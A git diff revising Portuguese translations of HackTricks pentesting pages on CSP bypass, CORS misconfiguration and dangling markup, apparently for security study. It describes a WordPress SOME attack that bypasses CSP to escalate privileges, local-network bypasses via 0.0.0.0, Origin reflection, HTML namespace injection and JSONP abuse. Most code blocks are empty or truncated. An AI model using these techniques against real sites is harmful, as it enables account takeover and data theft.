[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do **endpoint de callback** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\ +Para mais informações sobre como realizar esse ataque, confira [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## Bypasses de Exfiltração CSP +## Bypasses de Exfiltração de CSP -Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações. +Se houver um CSP restrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações. ### Localização @@ -769,10 +784,10 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu Outras formas de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md index 0586ef9cd..979a8a037 100644 --- a/pentesting-web/cors-bypass.md +++ b/pentesting-web/cors-bypass.md @@ -6,19 +6,19 @@ Outras maneiras de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. ## O que é CORS? -Cross-Origin Resource Sharing (CORS) padrão **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas. +Cross-Origin Resource Sharing (CORS) **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** por fontes externas. -Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`), e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos. +Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`) e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos. A aplicação da política de mesma origem no contexto de `http://normal-website.com/example/example.html` é ilustrada da seguinte forma: @@ -26,10 +26,10 @@ A aplicação da política de mesma origem no contexto de `http://normal-website | ----------------------------------------- | --------------------------------------- | | `http://normal-website.com/example/` | Sim: Esquema, domínio e porta idênticos | | `http://normal-website.com/example2/` | Sim: Esquema, domínio e porta idênticos | -| `https://normal-website.com/example/` | Não: Esquema e porta diferentes | -| `http://en.normal-website.com/example/` | Não: Domínio diferente | -| `http://www.normal-website.com/example/` | Não: Domínio diferente | -| `http://normal-website.com:8080/example/` | Não: Porta diferente\* | +| `https://normal-website.com/example/` | Não: Esquema e porta diferentes | +| `http://en.normal-website.com/example/` | Não: Domínio diferente | +| `http://www.normal-website.com/example/` | Não: Domínio diferente | +| `http://normal-website.com:8080/example/` | Não: Porta diferente\* | \*O Internet Explorer ignora o número da porta na aplicação da política de mesma origem, permitindo assim esse acesso. @@ -74,9 +74,9 @@ xhr.send('Arun'); ### Compreensão das Solicitações de Pré-voo na Comunicação entre Domínios -Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa além de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar. +Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa diferente de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar. -O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos e cabeçalhos permitidos, e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests). +O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos permitidos, cabeçalhos e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests). É crucial observar que a **ausência de uma solicitação de pré-voo não anula a necessidade de a resposta conter cabeçalhos de autorização**. Sem esses cabeçalhos, o navegador fica incapacitado em sua capacidade de processar a resposta da solicitação entre origens. @@ -100,9 +100,9 @@ Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 ``` * **`Access-Control-Allow-Headers`**: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente. -* **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa o cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples. +* **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa ao cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples. * **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação pré-voo podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação pré-voo podem ser reutilizadas. -* **`Access-Control-Request-Headers`**: Usado em solicitações pré-voo, este cabeçalho é definido pelo cliente para informar o servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real. +* **`Access-Control-Request-Headers`**: Usado em solicitações pré-voo, este cabeçalho é definido pelo cliente para informar ao servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real. * **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações pré-voo, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real. * **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS. @@ -128,20 +128,20 @@ Content-Length: 0 {% hint style="warning" %} Note que o IP linux **0.0.0.0** funciona para **burlar** esses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local". -Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um ponto final local** (como o IP público do roteador). Pois em várias ocasiões, mesmo se o **IP público** estiver sendo acessado, se for **da rede local**, o acesso será concedido. +Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um ponto de extremidade local** (como o IP público do roteador). Pois em várias ocasiões, mesmo se o **IP público** estiver sendo acessado, se for **da rede local**, o acesso será concedido. {% endhint %} -## Configurações incorretas exploráveis +## Configurações mal configuradas exploráveis -Observou-se que a definição de `Access-Control-Allow-Credentials` como **`true`** é um requisito para a maioria dos **ataques reais**. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo por conta própria diminui, pois torna-se inviável aproveitar os cookies de um usuário. +Foi observado que a definição de `Access-Control-Allow-Credentials` como **`true`** é um requisito para a maioria dos **ataques reais**. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo por conta própria diminui, pois torna-se inviável aproveitar os cookies de um usuário. ### Exceção: Explorando a Localização da Rede como Autenticação -Existe uma exceção em que a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar. +Existe uma exceção onde a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar. ### Reflexão de `Origin` em `Access-Control-Allow-Origin` -O cenário do mundo real em que o valor do cabeçalho `Origin` é refletido em `Access-Control-Allow-Origin` é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho `Access-Control-Allow-Origin` copiando o valor do cabeçalho `Origin`. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação. +O cenário do mundo real onde o valor do cabeçalho `Origin` é refletido em `Access-Control-Allow-Origin` é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho `Access-Control-Allow-Origin` copiando o valor do cabeçalho `Origin`. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação. ```html ``` -### Ataque de namespace HTML +### Ataque de namespace HTML enganoso 1 Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada: ```html @@ -161,7 +163,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e ``` ### Abuso de JSONP -Se você encontrar uma interface JSONP, você pode ser capaz de chamar uma função arbitrária com dados arbitrários: +Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários: ```html